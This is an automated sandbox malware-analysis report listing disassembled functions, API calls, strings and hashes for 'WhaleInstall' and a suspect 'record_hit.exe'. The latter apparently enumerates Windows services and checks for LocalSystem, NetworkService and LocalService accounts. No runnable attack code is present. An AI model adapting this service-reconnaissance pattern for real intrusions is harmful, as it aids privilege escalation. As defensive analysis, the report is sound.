Unknown error, xrefs: 00007FF772A6D9AC
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF772A6D927

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 829c1e7b36523a9d02ff5e57b9d53cf65ceaf8ae4bab856d07a412cf13e62ca4
Instruction ID: ed4fb5301f69f53c4449310ad66f9f0de06fe2bc240ad5770259e930b8dddda0
Opcode Fuzzy Hash: 829c1e7b36523a9d02ff5e57b9d53cf65ceaf8ae4bab856d07a412cf13e62ca4
Instruction Fuzzy Hash: 32018663D2CF8482D7059F18D8001BAB330FF9D789F559325EE8C25625DF68E592CB10

Function 00007FF772A82E90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27stringCOMMON

Download Yara Rule

APIs

strerror.MSVCRT ref: 00007FF772A82E9C
strlen.MSVCRT ref: 00007FF772A82EB3

Strings

basic_string: construction from null is not valid, xrefs: 00007FF772A82ED1

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: strerrorstrlen
String ID: basic_string: construction from null is not valid
API String ID: 960536887-2991274800
Opcode ID: b0c62662582b5b29ec55cd560fddf0fbb50e5547c6dea83311c85bea05f5b578
Instruction ID: 071ed3afc7c3784d6332190795f9275242ead92cb1011b9cc7f191f0f132fecd
Opcode Fuzzy Hash: b0c62662582b5b29ec55cd560fddf0fbb50e5547c6dea83311c85bea05f5b578
Instruction Fuzzy Hash: BCE02213F3A61502EA0A7B2AA8000F992509F49F80FC90431DD1D0B793FC6CE882CB60

Function 00007FF772A6D9A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF772A6D940

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF772A6D927
Total loss of significance (TLOSS), xrefs: 00007FF772A6D9A0

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: fprintf
String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4273532761
Opcode ID: 3402bf628108baafbae92d11264efeafc250b89475e8786c14465ecee7cda0fe
Instruction ID: f2a83c4df97689a284d0ce2cd6bd5acfab13c7209beda98a024523651d17ffc1
Opcode Fuzzy Hash: 3402bf628108baafbae92d11264efeafc250b89475e8786c14465ecee7cda0fe
Instruction Fuzzy Hash: 87F04413828E8481D202AF1C94001ABB320FF9D798F555336EE8D2A555DF68E586CB14

Function 00007FF772A6D990 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF772A6D940

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF772A6D927
The result is too small to be represented (UNDERFLOW), xrefs: 00007FF772A6D990

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: fprintf
String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2187435201
Opcode ID: 8a980578e1309d499cf9ca4411fb9507543e502605951558385e9fca2e008929
Instruction ID: f06be73d32913b7967b159cc930992c41129e7906bcaf881b9b098e0ee3bc6bb
Opcode Fuzzy Hash: 8a980578e1309d499cf9ca4411fb9507543e502605951558385e9fca2e008929
Instruction Fuzzy Hash: F5F04423D28E8481D202AF1894001ABB320FF5D798F555726EE8D2A555DF58E582CB14

Function 00007FF772A6D980 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF772A6D940

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF772A6D927
Overflow range error (OVERFLOW), xrefs: 00007FF772A6D980

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: fprintf
String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4064033741
Opcode ID: 9068c50b1adc10c5671ce4f2ee7b73d1a38261622fe77dd69736b3575c5cca4f
Instruction ID: 0bba62807aa8db0f26c7601c81687ef12473129b00274e33cde74fb9e9bc4a01
Opcode Fuzzy Hash: 9068c50b1adc10c5671ce4f2ee7b73d1a38261622fe77dd69736b3575c5cca4f
Instruction Fuzzy Hash: 58F04413828E8885D202AF1894001ABB320FF5D799F555326EE8D2A555DF68E582CB14

Function 00007FF772A6D970 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF772A6D940

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF772A6D927
Partial loss of significance (PLOSS), xrefs: 00007FF772A6D970

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: fprintf
String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4283191376
Opcode ID: 01b739b4968017020f8e6eab4a9ae04a231fba23ca0dbdf8a0d2bceb933316d4
Instruction ID: 194df10f022cb7193bf21ec569d45aec280b213732e1347becff436f0f1b054d
Opcode Fuzzy Hash: 01b739b4968017020f8e6eab4a9ae04a231fba23ca0dbdf8a0d2bceb933316d4
Instruction Fuzzy Hash: 05F04413828E8481D202AF1898001ABB320FF5D798F555326EE8D2A555DF68E582DB14

Function 00007FF772A6D960 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF772A6D940

Strings

Argument domain error (DOMAIN), xrefs: 00007FF772A6D960
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF772A6D927

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: fprintf
String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2713391170
Opcode ID: 945e7e278638398207f6c4c9c87eaf45000b544b07cb79a11dca2dd8aa774bae
Instruction ID: 6ab6bfcaefe56414b79c6486bf65bf939aa15f504cd4664e859b3afaf3c76ca8
Opcode Fuzzy Hash: 945e7e278638398207f6c4c9c87eaf45000b544b07cb79a11dca2dd8aa774bae
Instruction Fuzzy Hash: 7CF04413828E8481D212AF1894001ABB320FF5D798F555326EE8D2A555DF68E582CB14

Function 00007FF772A6D8F8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF772A6D940

Strings

Argument singularity (SIGN), xrefs: 00007FF772A6D8F8
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF772A6D927

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: fprintf
String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2468659920
Opcode ID: 30f1ee74a87e678c6693419d1cc1a460ebc1954ae321f3e551128e3977ff249a
Instruction ID: c84e6b9b81a1c0e06f677cfe5b93319fe8f48232c9b15812f81c2afb501e2f47
Opcode Fuzzy Hash: 30f1ee74a87e678c6693419d1cc1a460ebc1954ae321f3e551128e3977ff249a
Instruction Fuzzy Hash: 39F06813828E8481D2029F18E4000A77320FF5D759F555326DE8C3A516DF68D582CB10

Function 00007FF772A79140 Relevance: 5.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF772A79187
LeaveCriticalSection.KERNEL32 ref: 00007FF772A79216

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 2b39ac4c322ffb7266691cc3b1619fdb18e331b0526ca4cb38bf83152b3c5f9b
Instruction ID: 22e04f69bf281405232a5cb7f235f908298a10e2bba442a97336dc4010fbaff8
Opcode Fuzzy Hash: 2b39ac4c322ffb7266691cc3b1619fdb18e331b0526ca4cb38bf83152b3c5f9b
Instruction Fuzzy Hash: C231A833B3824286E750BF79D400E68B3A0EB40BA8F594231CE39463D4EF78D985CB54

Function 00007FF772A79010 Relevance: 5.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF772A79057
LeaveCriticalSection.KERNEL32 ref: 00007FF772A790E6

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 95456dd7b9f8041d708e2e5ef6801b0ce999ab59ee00c09e0762d0bf1064435f
Instruction ID: 70861aacde773ec9539962329587c4e555b1bde41ab6e5c1458763475e225474
Opcode Fuzzy Hash: 95456dd7b9f8041d708e2e5ef6801b0ce999ab59ee00c09e0762d0bf1064435f
Instruction Fuzzy Hash: 1731A973A382468AEB54BF34D800FA863A0FB40B58F894232CD2C47794EF79D946CB54

Function 00007FF772A78DC0 Relevance: 5.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF772A78DE6
LeaveCriticalSection.KERNEL32 ref: 00007FF772A78E0B
EnterCriticalSection.KERNEL32 ref: 00007FF772A78E3B
LeaveCriticalSection.KERNEL32 ref: 00007FF772A78E45

Memory Dump Source

Source File: 00000000.00000002.3250094403.00007FF772A61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF772A60000, based on PE: true

Associated: 00000000.00000002.3250084194.00007FF772A60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250145009.00007FF772B35000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250156272.00007FF772B39000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250176294.00007FF772B6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250197981.00007FF772B6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772B72000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3250208406.00007FF772C04000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff772a60000_WhaleInstall.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: fe4e637fc97ca67cbb675fa628e98073d4ae8157a728128713673af19994ba24
Instruction ID: d422ee21ac0c0346c98641f3a4277b0b69695b138a1cc581183aedad24740cc7
Opcode Fuzzy Hash: fe4e637fc97ca67cbb675fa628e98073d4ae8157a728128713673af19994ba24
Instruction Fuzzy Hash: A901DF23B2964659EA15EB277C00A2AA250BFC8FE4F8A0031ED1E07310EE3CD842DB50

Analysis Process: record_hit.exePID: 5532, Parent PID: 3608COMMON

Non-executed Functions

Function 0040E292 Relevance: 61.1, APIs: 31, Strings: 3, Instructions: 1581servicememoryCOMMON

Download Yara Rule

APIs

wm_ZeroAry.WMVERT(00000001,00000000,00000000,41013152), ref: 0040E369
OpenSCManagerA.ADVAPI32(00000000,00000000,80000000), ref: 0040E388
wm_Chr.WMVERT(00000001,00000000,00000000,80000101,00000000,00000000,80000000), ref: 0040E3CC
EnumServicesStatusExA.ADVAPI32(00000000,00000000,00000030,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 0040E407
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,00000000,80000000), ref: 0040E448
wm_Chr.WMVERT(00000001,00000000,00000000,80000101,00000040,00000000,?,00000000,00000000,80000000), ref: 0040E482
EnumServicesStatusExA.ADVAPI32(00000000,00000000,00000030,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 0040E4B9
wm_pbin.WMVERT(00000002,00000000,00000000,80000301,0000002C,00000000,80000301,00000000,?,00000000,00000000,?,?,00000040,00000000), ref: 0040E6C9
RtlMoveMemory.KERNEL32(00000000,?,?,?,?,?,00000000,?,00000000,00000000,?,?,00000040,00000000,?,00000000), ref: 0040E794
wm_pstr.WMVERT(00000001,?,00000000,80000301,00000000,?,?,?,?,?,00000000,?,00000000,00000000), ref: 0040E8C6
wm_pstr.WMVERT(00000001,?,00000000,80000301,?,?,?,?,?,00000000,?,?,?,?,?,00000000), ref: 0040E976
wm_pstr.WMVERT(00000001,?,00000000,80000301,?,?,?,?,?,?,?,?,?,00000000), ref: 0040EA39
OpenServiceA.ADVAPI32(00000000,00000001,000F01FF), ref: 0040EA57
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000001,000F01FF), ref: 0040EAAA
GlobalAlloc.KERNEL32(00000040,00000000,00000000,00000000,00000000,00000000,00000000,00000001,000F01FF), ref: 0040EADE
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000,00000040,00000000,00000000,00000000,00000000,00000000,00000000,00000001,000F01FF), ref: 0040EB17
RtlMoveMemory.KERNEL32(?,00000000,00000024,00000000,00000000,00000000,?,00000040,00000000,00000000,00000000,00000000,?,00000000,00000001,000F01FF), ref: 0040EB58
wm_pstr.WMVERT(00000001,?,00000000,80000301,?,00000000,00000024,00000000,00000000,00000000,?,00000040,00000000,00000000,00000000,00000000), ref: 0040EBFF
wm_pstr.WMVERT(00000001,?,00000000,80000301,?,?,00000000,00000024,00000000,00000000,00000000,?,00000040,00000000,00000000,00000000), ref: 0040ED7A
wm_pstr.WMVERT(00000001,?,00000000,80000301,?,?,?,?,?,?,00000000,00000024,00000000,00000000,00000000), ref: 0040F095
wm_UCase.WMVERT(00000001,00000001,00000000,80000004,?,?,?,?,?,?,?,?,?,?,00000000,00000024), ref: 0040F0BE
wm_UCase.WMVERT(00000001,LocalService,00000000,80000004), ref: 0040F107
wm_InStr.WMVERT(00000004,00000000,00000000,80000004,?,00000000,80000004,00000000,00000000,00000000,00000000,00000000,80000002), ref: 0040F156
wm_UCase.WMVERT(00000001,NetworkService,00000000,80000004), ref: 0040F21E
wm_InStr.WMVERT(00000004,00000000,00000000,80000004,?,00000000,80000004,00000000,00000000,00000000,00000000,00000000,80000002), ref: 0040F26D
wm_UCase.WMVERT(00000001,LocalSystem,00000000,80000004), ref: 0040F335
wm_InStr.WMVERT(00000004,00000000,00000000,80000004,?,00000000,80000004,00000000,00000000,00000000,00000000,00000000,80000002), ref: 0040F384
GlobalFree.KERNEL32(00000000), ref: 0040F4E0
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000040,00000000,00000000,00000000,00000000,00000000,00000000,00000001,000F01FF), ref: 0040F50C
GlobalFree.KERNEL32(00000000), ref: 0040F544
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000000,00000030,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,00000040,00000000), ref: 0040F570

Strings

LocalSystem, xrefs: 0040F326
NetworkService, xrefs: 0040F20F
LocalService, xrefs: 0040F0F8

Memory Dump Source

Source File: 00000003.00000002.3249734070.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3249720362.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249758194.000000000042A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249771441.000000000042B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.000000000042F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249786579.0000000000433000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3249816865.0000000000444000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_record_hit.jbxd

Similarity

API ID: wm_pstr$Service$CaseGlobal$AllocCloseConfigEnumFreeHandleMemoryMoveOpenQueryServicesStatus$ManagerZerowm_pbin
String ID: LocalService$LocalSystem$NetworkService
API String ID: 657397993-295051543
Opcode ID: 538a148c6943a225ce80c137d81f63b7e8903ac0c8fff7b04ce3d8629f9eeb32
Instruction ID: 38a0258e6b006679f120bb79c9214b875ecbab86a93ff3557541598229564db7
Opcode Fuzzy Hash: 538a148c6943a225ce80c137d81f63b7e8903ac0c8fff7b04ce3d8629f9eeb32
Instruction Fuzzy Hash: 97C252B1E40308ABEB10DF95DCC2B9E77B4FF19314F14043AFA05BA382D67969658B16

Function 0040C827 Relevance: 59.3, APIs: 30, Strings: 3, Instructions: 1566memoryserviceCOMMON

Download Yara Rule

APIs

wm_ZeroAry.WMVERT(00000001,00000000,00000000,41013151), ref: 0040C8FE
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 0040C91D
EnumServicesStatusA.ADVAPI32(00000000,00000030,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040C973
GetProcessHeap.KERNEL32(00000000,00000000,000F003F), ref: 0040C99F
HeapAlloc.KERNEL32(?,00000008,00000000,00000000,00000000,000F003F), ref: 0040C9D6
EnumServicesStatusA.ADVAPI32(00000000,00000030,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040CA1E
wm_pbin.WMVERT(00000002,00000000,00000000,80000301,00000024,00000000,80000301,00000000,?,00000000,00000000), ref: 0040CC22
RtlMoveMemory.KERNEL32(00000000,?,?,?,?,?,00000000,?,00000000,00000000), ref: 0040CCD9
wm_pstr.WMVERT(00000001,?,00000000,80000301,00000000,?,?,?,?,?,00000000,?,00000000,00000000), ref: 0040CDF7
wm_pstr.WMVERT(00000001,?,00000000,80000301,?,?,?,?,?,00000000,?,?,?,?,?,00000000), ref: 0040CEA7
OpenServiceA.ADVAPI32(00000000,?,000F01FF,?,?,?,?,?,?,?,?,?,00000000), ref: 0040CF4A
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,?,000F01FF,?,?,?,?,?,?,?), ref: 0040CF91
GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,000F01FF,?,?,?,?,?,?,?), ref: 0040CFBA
HeapAlloc.KERNEL32(00000001,00000008,00000000,00000000,00000000,00000000,00000000,00000000,?,000F01FF), ref: 0040CFF1
QueryServiceConfigA.ADVAPI32(00000000,00000000,00000000,00000000,00000001,00000008,00000000,00000000,00000000,00000000,00000000,00000000,?,000F01FF), ref: 0040D02A
RtlMoveMemory.KERNEL32(?,00000000,00000024,00000000,00000000,00000000,00000000,00000001,00000008,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 0040D06B
wm_UCase.WMVERT(00000001,00000001,00000000,80000004,?,?,?,?,?,?,?,?,?), ref: 0040D5D8
wm_UCase.WMVERT(00000001,LocalService,00000000,80000004,?,?,?,?,?,?,?), ref: 0040D621
wm_InStr.WMVERT(00000004,00000000,00000000,80000004,?,00000000,80000004,00000000,00000000,00000000,00000000,00000000,80000002), ref: 0040D670
wm_UCase.WMVERT(00000001,NetworkService,00000000,80000004), ref: 0040D738
wm_InStr.WMVERT(00000004,00000000,00000000,80000004,?,00000000,80000004,00000000,00000000,00000000,00000000,00000000,80000002), ref: 0040D787
wm_UCase.WMVERT(00000001,LocalSystem,00000000,80000004), ref: 0040D84F
